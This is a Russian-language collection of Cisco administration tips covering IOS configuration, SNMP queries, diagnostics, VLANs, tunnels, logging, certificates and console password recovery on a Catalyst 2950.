       LLDP-MIB::lldpRemSysCapSupported.41429900.1.1 = BITS: 20 00 00 00 bridge(2)
       LLDP-MIB::lldpRemSysCapEnabled.41429900.1.1 = BITS: 20 00 00 00 bridge(2)
    
    Полезные утилиты: NeDi, SNMP::Info::LLDP
    
     
    ----* Превращение Cisco Catalyst 6500 в кабельный тестер (доп. ссылка 1)   Автор: Gleb Poljakov  [комментарии]
     
    Некоторые карты для Cisco Catalyst имеют встроенный "кабельный тестер" - Time
    Domain Reflectometry (TDR). TDR может использоваться для определения обрывов в
    кабеле, неверно обжатых коннекторов, повреждений изоляции и др.
    
    TDR поддерживается следующими медными линейными картами:
       WS-X6748-GE-TX (48 port CEF720 10/100/1000 line card)  
       WS-X6548-GE-TX/45AF (48 port CEF256 10/100/1000 line card)
       WS-X6148A-GE-TX/45AF (48 port Classic 10/100/1000 line card)
       WS-X6148-GE-TX/45AF (48 port Classic 10/100/1000 line card)
       WS-X6148A-RJ-45/45AF (48 port Classic 10/100 line card)
    
    Для тестирования кабеля необходимо выполнить две команды:
    
    1. Первая - команда на тестирование порта:
    
        6K-LV2-CL3# test cable-diagnostics tdr interface g1/3
    
        TDR test started on interface Gi1/3
        A TDR test can take a few seconds to run on an interface
        Use 'show cable-diagnostics tdr' to read the TDR results.
    
    
    2. Вторая - вывод данных тестирования:
    
        6K-LV2-CL3# show cable-diagnostics tdr interface g1/3
    
        TDR test last run on: March 5 10:22:06
        Interface Speed Pair Cable length Distance to fault Channel Pair status
       
        Gi1/3 1000 1-2 1 +/- 6 m N/A Pair B Terminated
        3-4 1 +/- 6 m N/A Pair A Terminated
        5-6 1 +/- 6 m N/A Pair C Terminated
        7-8 1 +/- 2 m N/A Pair D Short
    
    в данном тесте пара 7-8 оказалась оборвана.
    
    Ссылки:
     http://www.cisco.com/en/US/prod/collateral/switches/ps5718/ps708/prod_white_paper0900aecd805457cc.html
    
     
    ----* Маршрутизатор Cisco как PPTP клиент (доп. ссылка 1)   Автор: BETEP  [комментарии]
     
    Задача: заставить маршрутизатор Cisco с ios 12.4 работать в качестве pptp-клиента. 
    В данном примере 172.28.254.21 - pptp-сервер, а myusername и mypassword -
    соответственно имя пользователя и пароль.
    Адреса интерфейс получает по dhcp.
    
    
        service internal
        !
        no ip gratuitous-arps
        ip cef
        !
        ip multicast-routing
        vpdn enable
        !
        vpdn-group 1
        request-dialin
        protocol pptp
        rotary-group 1
        initiate-to ip 172.28.254.21
        !
        !
        interface FastEthernet 0/0
        ip dhcp
        !
        interface Dialer1
        mtu 1450
        ip address negotiated
        ip pim dense-mode
        encapsulation ppp
        dialer in-band
        dialer idle-timeout 0
        dialer string 123
        dialer vpdn
        dialer-group 1
        ppp pfc local request
        ppp pfc remote apply
        ppp encrypt mppe auto
        ppp chap hostname myusername
        ppp chap password 0 mypassword
        !
        ip forward-protocol nd
        ip route 0.0.0.0 0.0.0.0 Dialer1
        ip route 172.28.254.21 255.255.255.255 FastEthernet0/0
        !
        !
        dialer-list 1 protocol ip permit
        !
        end
    
     
    ----* Подборка команд для диагностики Cisco (доп. ссылка 1)   Автор: Konstantin Mironov  [комментарии]
     
    Общие команды
    
       sh ip traffic - всё о трафике через Cisco
       sh controllers ethernet-controller gi1/0/1 phy - информация о SFP модуле в определенном порту
       show vlan internal usage - показать используемые vlan
       sh inventory raw - в 4924 информацию о воткнутом SFP похоже посмотреть можно только так.
       sh ip protocols - всё о динамической маршрутизации
    
    BGP
    
       sh ip bgp neighbors 192.168.1.3 advertised-routes - показать что bgp отдает соседу.
    
    Диагностика проблем с TCAM, ASIC
    
       sh platform ...
       sh platform tcam utilization - место в TCAM
    
    Диагностика проблем с интефейсами/памятью/CPU
    
       sh controllers cpu-interface
       sh controllers utilization - загрузка интерфейсов в процентах. Плюс загрузка фабрики свитча
       sh controllers tcam
       sh controllers tcam asic
       sh controllers ethernet-controller phy
       sh controllers ethernet-controller port-asic statistics
       sh controllers ethernet-controller port-asic configuration
       sh controllers ethernet-controller gigabitEthernet 1/0/1
    
    Interface Commands
    
       show interfaces description
       show interfaces counters protocol status
       show interfaces summary
       show interfaces accounting
       sh interfaces stats - статистика по интерфейсам, метод коммутации
       sh interfaces switching - скрытая команда. Более подробно чем stats.
       sh interface switchport - для диагностики vlan
       show interface trunk - для диагностики vlan
    
    SDM
    
       sh sdm prefer
    
    CDP
    
       show cdp neighbors
       show cdp neighbors detail - тут так же показывается версия IOS у соседа
       show cdp entry * version - IOS соседа
       show cdp entry * protocols - протоколы
    
    Multicast
    
       sh ip multicast
       sh ip multicast interface vlan 104
       sh ip interface vlan 104
    
    PIM troubleshooting
    
       sh ip mroute
       sh ip pim interface
       sh ip pim rp [mapping]
       sh ip rpf
       sh ip pim interface vlan 25
       sh ip pim neighbor
    
    IGMP troubleshooting
    
       sh ip igmp
       sh ip igmp group
       sh ip igmp interface
       ip igmp join-group
    
     
    ----* Получение информации о VLAN на Cisco по SNMP   Автор: Трушкин Вячеслав  [комментарии]
     
    Первый интересующий нас факт: наличие тегирования фреймов на порту как такового 
    (switchport mode trunk для конфигурирования в CLI). Для этого справшиваем этот
    OID: 1.3.6.1.4.1.9.9.46.1.6.1.1.14.
    Значение 1 соответствует включенному тегированию, значение 2 - порт имеет
    какой-то другой режим, отличный от trunk.
    
    Информация, получаемая по snmp, остается актуальной только в том случае, если порт, 
    о котором мы спашиваем устройство, сконфигурирован. (Опять же прошу не путать
    определения порта и интерфейса.)
    Чтобы узнать фреймы какой ВЛС не тегируются на порту и принимаются в
    девственном виде (это я так описал native vlan),
    нужно спросить OID 1.3.6.1.4.1.9.9.46.1.6.1.1.5.N, где N -- полный номер порта
    (включает модуль, адаптер и непосредственно номер порта).
    
    Задачей сложнее является определение того, какие именно вланы разрешены на порту устройства. 
    Как известно, каждый vlan имеет идентификатор, значение которого выбирается из
    диапазона от 1 до 4095 (12 бит).
    Если 4096 разделить на четыре, то получим четыре диапазона идентификаторов: 1-1023, 1024-2047, 
    2048-3071 и 3071-4095. С этими знаниями мы можем спросить о наличии ВЛС на
    порту у следующих OID'ов:
    
       1.3.6.1.4.1.9.9.46.1.6.1.1.4 для диапазона 1-1023
       1.3.6.1.4.1.9.9.46.1.6.1.1.17 1024-2047
       1.3.6.1.4.1.9.9.46.1.6.1.1.18 2048-3071
       1.3.6.1.4.1.9.9.46.1.6.1.1.19 3071-4095
    
    Каждый запрос по OID'у, указанному выше, вернет информацию о вланах в виде
    HEX-строки для каждого порта.
    Расшифровка этой строки следующая: каждый N-ый бит (считаем биты слева направо) соответствует 
    идентификатору vlan'а в своем диапазоне. Наличие этого бита говорит о том, что
    на порту используется
    соответствующий влан. Например, для того, чтобы узнать о наличии vlan'а 3100, мы должны спросить 
    OID 1.3.6.1.4.1.9.9.46.1.6.1.1.19, и посмотреть на значение 29 бита. Его значение, равное 1, 
    говорит нам о том, что на порту разрешен vlan 3100.
    
    Хорошая ссылка: http://tools.cisco.com/Support/SNMP/do/BrowseOID.do
    
     
    ----* Конфигурация маршрутизатора Cisco по TFTP не имея пароля   Автор: Константин Брызгалов  [комментарии]
     
    Если Вам попался в руки не сконфигурированный маршрутизатор cisco БЕЗ шлейфа 
    для конфигурирования через последовательный порт - можно попробовать
    сконфигурировать устройство через tftp.
    
    1.  Подключаем устройство (например через кроссовер кабель) к интерфейсу своего компьютера.
    
    2.  Если у Вас windows - программой tftpd32 (by Jounin) отдаем устройству IP адрес по dhcp.
    
    3. Программой wireshark определяем, какие файлы для конфигурации просит устройство по tftp.
    
    4. Тем же tftpd32 по tftp отдаем устройству файл следующего содержания( в моем
    случае был запрос на файл cisconet.cfg):
    
       enable password cisca
       ip rcmd source-interface FastEthernet0/0
       no ip domain-lookup
       interface FastEthernet0/0
        ip address 192.168.8.64 255.255.255.0
        access-list 10 permit 192.168.8.1
       line vty 0 1
        password 111
        access-class 10 in
        login
        transport input telnet
       end
    
    По логам в  tftpd32 определяем момент, когда cisco забрал конфиг файл.
    Ждем немного и заходим на него через telnet с паролем 111, 
    переходим в привелигированный режим с паролем cisca. 192.168.8.1 адрес интерфейса компьютера, 
    192.168.8.64 - адрес устройства.
    
     Если у Вас на компьютере unix подобная ОС, то все проще при той-же последовательности действий.
    
    Проверено на нулевом cisco 2611( IOS Version 12.2(8)T5).
    На других версиях IOS ( или конфигурациях cisco) интерфейсы могут иметь иное
    название - какое, - можно
    подсмотреть (tcpdump, wireshark) в содержимом пакетов от cisco при загрузке и
    автоконфигурировании устройства.
    
     
    ----* Выполнение консольных команд Cisco в web-браузере   Автор: Дармидон  [комментарии]
     
    Довольно часто требуется посмотреть информацию, которая не умещается на экране. 
    Например, конфигруация или поднятые Virtual интерфейсы. Гораздо удобнее посмотреть это в браузере. 
    
    Базовая страница: https://xxx.xxx.xxx.xxx/level/15/exec/-
    
    Чтобы вывести текущую конфигурацию, добавляем к базовой странице "/show/running-config", получаем:
    
      https://xxx.xxx.xxx.xxx/level/15/exec/-/show/running-config/CR
    
    где xxx.xxx.xxx.xxx - IP адрес Cisco, 15 - уровень доступа.
    
    На этой страничке вы можете ввести любую команду консоли. 
    Причем, если вы введете, например, "show processes cpu ?" - Cisco вам выдаст
    список доступных команд с описанием.
    
    HTTPS доступ можно включить через глобальную опцию конфигурации:
    
       ip http secure-server
    
     
    ----* Копирование Cisco running-config с помощью net-snmp утилит   Автор: Бородин Олег  [комментарии]
     
    Ниже приведен рабочий скрипт для копирования running-config 
    с маршрутизатора Cisco 2811 на BSD tftp/ftp сервер с помощью пакета net-snmp.
    
    Для tftp ccCopyProtocol = 1, для ftp - 2. Возможен транспорт scp sftp, но их не проверял.
    
    #!/bin/sh
    #
    community=private
    router=192.168.2.2
    tftp=192.168.100.1
    file=routerA.conf
    user=user
    pass=password
    
    
    # ccCopyProtocol = tftp
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1
    
    # ccCopySourceFileType = runningConfig
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 4
    
    #  ccCopyUserName = $user
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.7.111 s $user
    
    # ccCopyUserPassword = $pass
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.8.111 s $pass
    
    # ConfigFileType = networkFile
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 1
    
    # ccCopyServerAddress = $tftp
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a "$tftp"
    
    # ccCopyDestFileType = $file
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.6.111  s $file
    
    # ccCopyEntryRowStatus = active
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1
    
    #snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 4
    
    # timeout for exec
    sleep 10
    
    # scheck 
    snmpwalk -v1 -c $community $router  .1.3.6.1.4.1.9.9.96.1.1.1.1.10.111
    
    # ccCopyEntryRowStatus = destroy
    snmpset -v1 -c $community $router .1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 6
    #EOF
    
     
    ----* Ренумерация VLAN на Cisco (доп. ссылка 1)   Автор: Анджей  [комментарии]
     
    Провайдер по тем или иным причинам отдает мне 802.1Q ethernet транк с несколькими вланами. 
    Естественно, что план нумерации vlan у провайдера и у меня не совпадает. 
    
    Пример преобразования  соответствующих vlan на коммутаторе:
    
       interface GigabitEthernet1/5
       description bla-bla-bla
       switchport
       switchport trunk encapsulation dot1q
       switchport trunk allowed vlan 1264-1266
       switchport trunk allowed vlan add 1356,1360-1364
       switchport mode trunk
       switchport nonegotiate
       switchport vlan mapping enable
       switchport vlan mapping 1362 1264
       switchport vlan mapping 1363 1265
    
     
    ----* Одна из причин зависания портов на коммутаторе Cisco Catalist   [обсудить]
     
    После многократного передергивания интерфейс перестает работать.
    
    show interface FastEthernet0/15
    показывает причину (err-disabled):
    
       FastEthernet0/15 is down, line protocol is down (err-disabled) 
    
    Более подробную информацию смотрим:
       show interfaces status err-disabled
       show log | include FastEthernet0/15
    
    Видим, например: link-flap или loopback.
    
    Для того чтобы интерфейс вновь заработал достаточно выполнить:
    
       conf
       interface FastEthernet0/15
       shutdown
       no shutdown
    
    Для отключения err-disabled:
       no errdisable detect cause loopback 
    
     
    ----* Логирование изменений конфигурации маршрутизатора Cisco (доп. ссылка 1)   Автор: pablo  [комментарии]
     
    Ниже приведен вариант организации слежения за изменением конфигурации, 
    в лог сохраняется информация о том, кто и какие именно команды вводил. 
    Как это выглядело раньше? 
    Кто-то зашел на железяку и внес какие-то изменения. Об этом в логе останется
    информация следующая информация:
    
       Mar 1 00:12:15.675: %SYS-5-CONFIG_I: Configured from console by one on vty0 (10.10.10.1)
    
    И всё!
    
    С некоторой версии ios появилась возможность посмотреть кто и что конкретно сделал.
    Для этого необходимо добавить в конфигурацию следующие строки:
    
       archive
       log config
       logging enable
       notify syslog
       hidekeys
    
    
    logging enable - писать лог. По умолчанию выключено.
    notify syslog - писать лог локально или посылать также на syslog сервер
    hidekeys - не записывать в лог пароли
    
    Теперь процесс логина и изменения отобразится примерно следующим образом
    (Легко определить что в гости заходил пользователь one и настроил интерфейс FastEthernet1/0):
    
       Mar 1 00:18:18.839: %PARSER-5-CFGLOG_LOGGEDCMD: User:one logged command:!exec: enable
       Mar 1 00:18:58.003: %PARSER-5-CFGLOG_LOGGEDCMD: User:one logged command:interface FastEthernet1/0
       Mar 1 00:19:11.023: %PARSER-5-CFGLOG_LOGGEDCMD: User:one logged command:ip address 192.168.1.1 255.255.255.0
       Mar 1 00:19:13.715: %PARSER-5-CFGLOG_LOGGEDCMD: User:one logged command:no shutdown
       Mar 1 00:19:15.687: %LINK-3-UPDOWN: Interface FastEthernet1/0, changed state to up
       Mar 1 00:19:16.687: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet1/0, changed state to up
    
     
    ----* Объединение сетевых интерфейсов на Cisco (включение EtherChannel) (доп. ссылка 1)   Автор: shooter  [обсудить]
     
    1. в IOS'е: в конфигурации интерфейса дается командочка:
       (config-if)# port group номер [distribution source|destination]
    
       где номер - это номер группы портов или номер etherchnnel'а, а значение дистрибьюшна - это метод 
       распределения трафика по хвостам - значение XOR-функции от MAC-адресов источника либо назначения;
    
    2. в set-based свичах: собственно, etherchannel включается командой
       (enable) set port channel mod/ports mode {on|off|desirable|auto}
    
       где порты задаются в виде, например, 3/1-4 (третий модуль, порты с первого по четвертый), 
       а моды - это, собственно, режимы портов для распознавания их специальным протоколом 
       объединения портов; если ты уверен, что тебе нужен etherchannel, задай мод on и не заморачивайся;
    
    метод распределения трафика задается командой:
       (enalble) set port channel all distributoin {ip|mac} [source|destination|both]
    
       all - в том смысле, что для всех etherchannel'ов
       both - значит, что XOR'иться будут и адреса источника, и назначения, 
       ip|mac - выбор, по каким адресам распределять трафик.
    
    
    Примеры EtherChannel соединения двух коммутаторов Catalyst:
       http://www.cisco.com/warp/public/473/89.html
       http://www.ciscosystems.cd/warp/public/473/135.html
    
     
    ----* Решение проблем с транком на новых Cisco 2950 (доп. ссылка 1)   Автор: Иванов Александр  [комментарии]
     
    Во-первых, приготовьтесь к тому, что про ISL можно забыть. Да-да! Cisco в новых
    коммутаторах 2950 отказалась
    от своего-же детища. Так что для тех, у кого есть Cisco 19хх (там как-раз из
    транков только ISL) - это проблема,
    связать 19хх и 2950 транком можно только при наличии между ними устройства понимающего dot1q и ISL.
    
    На 2950 с версией Cisco IOS Release 12.1(14)EA1 есть проблемы при работе транка
    dot1q в умолчательной
    конфигурации, а так как там это единственно возможный транк, то это большие проблемы.
    
    Первым делом на Cisco 2950 IOS Release 12.1(14)EA1 нужно выполнить
    такую команду:
         #dot1x system-auth-control
    
    Перезагрузить Cisco и настроить транки с vlan'ами...
    Радоваться жизни.
    Да, можно ещё IOS поменять :)
    
     
    ----* Как почистить подвисшую vty сессию заблокировавшую вход на Cisco (доп. ссылка 1)   Автор: Alexandre Snarskii  [обсудить]
     
    Если на cisco невозможно зайти telnet'ом, ssh или rsh и "clear line" и "clear
    line vty" не помогает.
    (Telnet DoS: http://www.opennet.ru/base/fire/1093711089_1345.txt.html)
    
    Найти tcb (tcp control block) этого соединения и почистить его на 
    уровне tcp-соединения:
    
       #show tcp brief 
       TCB       Local Address           Foreign Address        (state)
       447236F0  192.168.10.131.23       remote.host.removed.32781   ESTAB
    
       #clear tcp tcb 447236F0
       [confirm]Connection closed by foreign host.
    
     
    ----* Тестирование модемов на сервере доступа Cisco (доп. ссылка 1)   [обсудить]
     
    back-to-back тест:
        #test modem back-to-back нач_слот/нач_порт кон_слот/кон_порт
        #show modem test
    Накопительная статистика по работе модемов:
        #show modem call-stats
    Тестирование при загрузке:
        #modem startup-test
    
     
    ----* Как поднять туннель между Cisco и Linux   [комментарии]
     
    Linux (192.168.2.1):
       /sbin/ip tunnel add tunl1 mode ipip remote 192.168.1.1
       /sbin/ifconfig tunl1 192.168.3.2 pointopoint 192.168.3.1 netmask 255.255.255.252 mtu 1500
    
    Cisco (192.168.1.1):
      interface Tunnel0
        ip address 192.168.3.1 255.255.255.252
        ip mtu 1500
        tunnel source 192.168.1.1
        tunnel destination 192.168.2.1
        tunnel mode ipip
    
     
    ----* Как запретить вывод в логи Cisco ненужных сообщений (доп. ссылка 1)   [обсудить]
     
    interface Serial0/0
      no logging event link-status
      no logging event dlci-status-change
      no logging event subif-link-status
    
     
    ----* Использование в FreeBSD IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   [комментарии]
     
    В конфигурации FreeBSD ядра:
        pseudo-device vlan 20 # VLAN support (для динамической генерации в новых версиях - 20 можно не писать)
    Поднимаем VLAN вручную (где 28 - vlan id на свиче, fxp0 - интерфейс воткнутый в свитч):
        ifconfig vlan0 inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0
    Прописываем в /etc/rc.conf:
      cloned_interfaces="vlan0"
      ifconfig_vlan0="inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0"
    На коммутаторе Cisco Catalyst:
        interface FastEthernet0/1  # линк к FreeBSD
            switchport mode trunk
        interface FastEthernet0/2
            switchport access vlan 28
    
     
    ----* Как включить доступ к Cisco с определенного хоста по rsh.   [обсудить]
     
    ip rcmd rsh-enable                                                              
    ip rcmd remote-host test 192.168.1.1 test
    ip rcmd remote-host admin 192.168.1.2 admin enable
    ip rcmd remote-host local_username remote_addr remote_username enable
    
     
    ----* Как в IOS настроить временную зону и переход на летнее время.   [комментарии]
     
    clock timezone TYUM 5
    clock summer-time TYUMS recurring last Sun Mar 3:00 last Sun Oct 3:00
    
     
    ----* Как пересылать логи с Cisco в syslog   Автор: LS  [комментарии]
     
    На Cisco:
        router(config)# logging x.x.x.x
        router(config)# logging source-interface fastethernet 0/0
        router(config)# logging facility local0
    В syslog.conf (syslogd нужно запускать с ключем -r):
        local0.* /var/log/cisco.log
    
     
    ----* Как подключиться к Cisco через последовательный порт   [комментарии]
     
    cu -l /dev/cuaa1 -s 9600
    Выход из cu: ~.
    
     
    ----* Как установить точное время на системных часах.   [комментарии]
     
    Для unix:
        в раз в час запускать через крон: ntpdate 194.186.254.22 195.2.64.5
    Для Cisco IOS:
       ntp clock-period 17180070 
       ntp server 195.2.64.5 version 2
       ntp server 194.186.254.22 version 2
    
     
    ----* Заметки по работе с файлом конфигурации Cisco IOS   [комментарии]
     
    Просмотреть текущий рабочий файл конфигурации:
    show running-config
    Посмотреть файл конфигурации устанавливаемый после перезагрузки:
    show startup-config
    Запустить систему автоматического интерактивного конфигурирования:setup
    Сохранить текущий рабочий конфиг в NVRAM (чтобы изменения восстановились после перезагрузки):
    copy running-config startup-config
    Загрузить конфиг загружаемый по умолчанию:
    copy startup-config running-config
    Скопировать рабочий конфиг на tftp сервер:
    copy running-config tftp
    Загрузить IOS с удаленного tftp сервера, а не из флэша:
    boot system tftp
    Скопировать содержимое флэша на удаленный tftp сервер:
    copy flash tftp
    Обновить содержимое флэша с tftp сервера:
    copy tftp flash
    
     
    ----* Шпаргалка по командам специфичным для Cisco 7600 (доп. ссылка 1)   Автор: Mar Loreto A. Apuhin  [обсудить]
     
    show catalyst [Catalyst 6000 info]
    show cwan [Catalyst WAN info]
    show diagnostic result [Diagnostics]
    show diagnostic result [Diagnostics]
    show fabric [Crossbar switching data]
    show fm interface <interface-id> [Feature Manager]
    show ibc br [Traffic to CPU]
    show inventory [Equipment inventory]
    show idprom module n [IDPROM info]
    show mac-address-table [MAC]
    show mls [Multilayer switching]
         show mls statistics  
         show mls netflow ip nowrap  
         show mls status [undocumented]
    show module [Linecard info]
    show platform [hardware]
    show power [Power info]
         show platform hardware pfc mode  
    show tcam [TCAM info]
         show tcam detail  
    show upgrade fpd [Field Programmable Device upgrade]
    attach n [Connect to SUP]
    hw-module [Reset of power-cycle specific module]
    remote command switch sho xxxx [Connect to SUP]
    ipc-cons n [Connect to Flexwan - undocumented]
    
     
    ----* PPPoE сервер на Cisco с авторизацией через Radius (доп. ссылка 1)   Автор: kukachik  [комментарии]
     
    сделано на Cisco 7507, коммутатор Catalyst 5000 все интерфейсы FE
    Помимо предоставления фиктивных адресов через Radius, создан VLAN с реальными
    адресами для тех клиентов, которым в силу определенных причин необходимы
    реальные адреса.
    
    Первым делом разрешите на cisco Radius:
    
    aaa authentication login default local
    aaa authentication ppp default group radius
    aaa authorization exec default local !запрет использования Radius для exec
    aaa authorization network default group radius
    aaa accounting network default start-stop group radius
    
    Разрешите VPN:
    
    vpdn enable
    
    Создайте группу:
    
    vpdn-group 1
    accept-dialin
    protocol pppoe
    virtual-template 1
    
    Создайте сабинтерфейсы для VLAN на внутреннем Ethernet интерфейсе:
    
    interface FastEthernet0/0.1
    description PPTP clients
    encapsulation dot1Q 2
    ip address 192.168.0.1 255.255.255.0
    no ip redirects
    ip nat inside
    pppoe enable
    
    interface FastEthernet0/0.2
    encapsulation dot1Q 2
    ip address 81.ххх.ххх.ххх 255.255.255.240
    
    Добавьте ip nat outside на Internet интерфейсе
    
    Создайте Virtual-Template1
    
    interface Virtual-Template1
    ip unnumbered FastEthernet0/0.1
    ip nat inside
    ppp authentication chap pap callin
    
    Добавьте использование функции NAT overload на Internet интерфейсе для адресов из access-list 1
    
    ip nat inside source list 1 interface FastEthernet1/0 overload
    access-list 1 permit 192.168.2.0 0.0.0.255 !для этих адресов разрешить NAT
    
    На этом интерфейсе живет Radius сервер:
    
    ip radius source-interface FastEthernet0/0.2
    
    Это его настройки:
    
    radius-server configure-nas
    radius-server host 81.ххх.ххх.ххх auth-port 1812 acct-port 1813
    radius-server retransmit 3
    radius-server timeout 30
    radius-server key xxxxxxxxxxxxxxxxx
    
    P.S. Radius у меня сам выдает IP вида 192.168.2.ххх по имени пользователя. Если
    вам это не подходит то сделайте:
    ip local pool PPPoE 192.168.2.2 192.168.2.254
    
     

       AAA, контроль dial-up пользователей

    ----* Как по SNMP скинуть dialup пользователя с линии (Cisco AS)   [комментарии]
     
    Скинуть пользователя по заданному порту (N) можно через OID:
            1.3.6.1.4.1.9.9.150.1.1.3.1.5.N
            snmpset as-1.test.ru private .1.3.6.1.4.1.9.9.150.1.1.3.1.5.N i 1
    Соспоставить логин с номером порта можно через OID:
            1.3.6.1.4.1.9.9.150.1.1.3.1.2
    Или из FAQ: snmpset -v1 as-1.test.ru private .1.3.6.1.4.1.9.2.9.10.0 i $line
    
     
    ----* Как настроить Radius так чтобы в пакете Acct-Start был ip-address ceccии, а то он передается только в пакете Acct-Stop   Автор: Nachko Halachev  [комментарии]
     
    aaa acounting update newinfo
    
     
    ----* Как заставить Cisco обращаться к Radius сразу после ввода login, не выдавая запроса на ввод пароля ?   [комментарии]
     
    На Cisco:
        radius-server optional passwords
    Если необходимо организовать переброс UUCP пользователей, то лучше остановиться на схеме 
    Login/Password/Password, т.е. авторизируем на Cisco и пробрасываем через rlogin на UUCP сервер.
    Схемы Login/Password можно добиться добавив IP Cisco в /etc/hosts.equiv, но делать это 
    крайне не рекомендуется.
    
     

       ACL, ограничение доступа, безопасность

    ----* Инсталляция сертификатов X.509 CA в Cisco IOS для DynDNS (доп. ссылка 1)   Автор: Бородин Олег  [обсудить]
     
    Для того чтобы IOS мог проверить цепочку доверия при создании TLS/SSL
    соединения для HTTPS необходимо установить X.509 CA сертификаты.
       
    Наиболее простой путь, чтобы выяснить какие сертификаты необходимы - создать
    TLS/SSL соединение к реальной системе:
    
       openssl s_client -showcerts -host dyn.dns.he.net -port 443
    
    Вывод будет содержать данные об используемых сертификатах:
    
       CONNECTED(00000004)
       depth=0 /C=US/ST=CA/L=Fremont/O=Hurricane Electric/OU=Secure Services/CN=dyn.dns.he.net/emailAddress=dnsadmin@he.net
       verify error:num=18:self signed certificate
       verify return:1
       depth=0 /C=US/ST=CA/L=Fremont/O=Hurricane Electric/OU=Secure Services/CN=dyn.dns.he.net/emailAddress=dnsadmin@he.net
       verify return:1
       ---
       Certificate chain
        0 s:/C=US/ST=CA/L=Fremont/O=Hurricane Electric/OU=Secure Services/CN=dyn.dns.he.net/emailAddress=dnsadmin@he.net
          i:/C=US/ST=CA/L=Fremont/O=Hurricane Electric/OU=Secure Services/CN=dyn.dns.he.net/emailAddress=dnsadmin@he.net
       ---
       Server certificate
       -----BEGIN CERTIFICATE-----
       MIIFtjCCA54CCQC5vsyLyslykjANBgkqhkiG9w0BAQUFADCBnDELMAkGA1UEBhMC
       ...
       BBV9BRUtZTDY6D39PmUzJhs0GQuBlZHRWNM=
       -----END CERTIFICATE-----
       subject=/C=US/ST=CA/L=Fremont/O=Hurricane Electric/OU=Secure Services/CN=dyn.dns.he.net/emailAddress=dnsadmin@he.net
       issuer=/C=US/ST=CA/L=Fremont/O=Hurricane Electric/OU=Secure Services/CN=dyn.dns.he.net/emailAddress=dnsadmin@he.net
       ---
    
    Далее, подключаемся к Cisco IOS, создаем новую точку доверия (CA trustpoint),
    копируем в терминал и инcталлируем сертификат:
    
       $ ssh router
       login:
       password:
       
       cisico# conf term
       cisico(config)# crypto pki trustpoint TEST
       cisico(ca-trustpoint)# revocation-check none
       cisico(ca-trustpoint)# enrollment terminal pem
       cisico(ca-trustpoint)# exit
       cisico(config)# crypto pki authenticate TEST
       
       Enter the base 64 encoded CA certificate.
       End with a blank line or the word "quit" on a line by itself
       
       -----BEGIN CERTIFICATE-----
       MIIFtjCCA54CCQC5vsyLyslykjANBgkqhkiG9w0BAQUFADCBnDELMAkGA1UEBhMC
       ...
       BBV9BRUtZTDY6D39PmUzJhs0GQuBlZHRWNM=
       -----END CERTIFICATE-----
       quit
       Certificate has the following attributes:
              Fingerprint MD5: C9D04C92 B9A32172 B48C1110 054E3CF6
             Fingerprint SHA1: 3FDE18F7 33EA46C2 CE737287 01FCFFA0 FCF40D06
       
       % Do you accept this certificate? [yes/no]: yes
       Trustpoint CA certificate accepted.
       % Certificate successfully imported
       cisico(config)# exit
       
       cisico# write
    
    Проверяем:
    
       cisico# show crypto pki trustpoints TEST
    
       Trustpoint TEST:
           Subject Name:
           e=dnsadmin@he.net
           cn=dyn.dns.he.net
           ou=Secure Services
           o=Hurricane Electric
           l=Fremont
           st=CA
           c=US
                 Serial Number (hex): 00B9BECC8BCAC97292
           Certificate configured.
       
       cisico# show crypto pki certificates TEST
    
       CA Certificate
         Status: Available
         Certificate Serial Number (hex): 00B9BECC8BCAC97292
         Certificate Usage: General Purpose
         Issuer:
           e=dnsadmin@he.net
           cn=dyn.dns.he.net
           ou=Secure Services
           o=Hurricane Electric
           l=Fremont
           st=CA
           c=US
         Subject:
           e=dnsadmin@he.net
           cn=dyn.dns.he.net
           ou=Secure Services
           o=Hurricane Electric
           l=Fremont
           st=CA
           c=US
         Validity Date:
           start date: 05:48:52 KLD Mar 26 2011
           end   date: 05:48:52 KLD Mar 23 2021
         Associated Trustpoints: TEST HE
         Storage: nvram:dnsadminhene#7272CA.cer
    
    Теперь можно использовать HTTPS в DynDNS-методах Cisco IOS:
    
       ip ddns update method DDNS-METH-HE
        HTTP
         add https://host.somedomain.org:password123@\
           dyn.dns.he.net/nic/update?hostname=host.somedomain.org&myip=<a>
       
       interface Dialer0
        ip ddns update DDNS-METH-HE
    
    Аналогично с другими поставщиками DynDNS-услуг.
    
     
    ----* Сброс пароля на коммутаторе Cisco Catalyst 2950   Автор: Аноним  [комментарии]
     
    Шаги, которые необходимо предпринять, для сброса забытого пароля на коммутаторе
    Cisco Catalyst 2950:
    
    1. Подключиться к консоли на коммутаторе с помощью кабеля COM-RJ45 и любого
    терминального клиента, например, Putty или HyperTerminal, входящего в
    стандартную поставку Windows, хотя у меня он подвисал где-то в середине
    процесса, а поначалу и просто не хотел коннетиться.
    
    Параметры терминального соединения:
       - бит в секунду (бод): 9600 
       - бит данных: 8 
       - четность: нет 
       - стоп-бит: 1 
       - контроль передачи: Xon/Xoff 
    
    2. Отключить кабель питания коммутатора.
    
    3. Нажать и удерживать кнопку Mode на коммутаторе, снова подключить кабель питания к коммутатору.
    
    4. Чтобы предотвратить автоматическую загрузку коммутатора (произойдет через 15
    секунд), нажать break-последовательность (Ctrl+Break в HyperTerminal).
    
    5. После загрузки и появления строки приглашения набрать команду flash_init.
    
    6. Набрать команду load_helper.
    
    7. Набрать команду "dir flash:"  (ошибка многих статьей указание набирать "dir
    flash", нужно именно на конце ":"). Появится список файлов, содержащихся во
    flash-памяти коммутатора, среди них должен быть файл конфигурации - config.text.
    
    8. Набрать команду rename flash:config.text flash:config.old для переименования
    конфигурационного файла.
    
    9. Набрать команду boot.
    
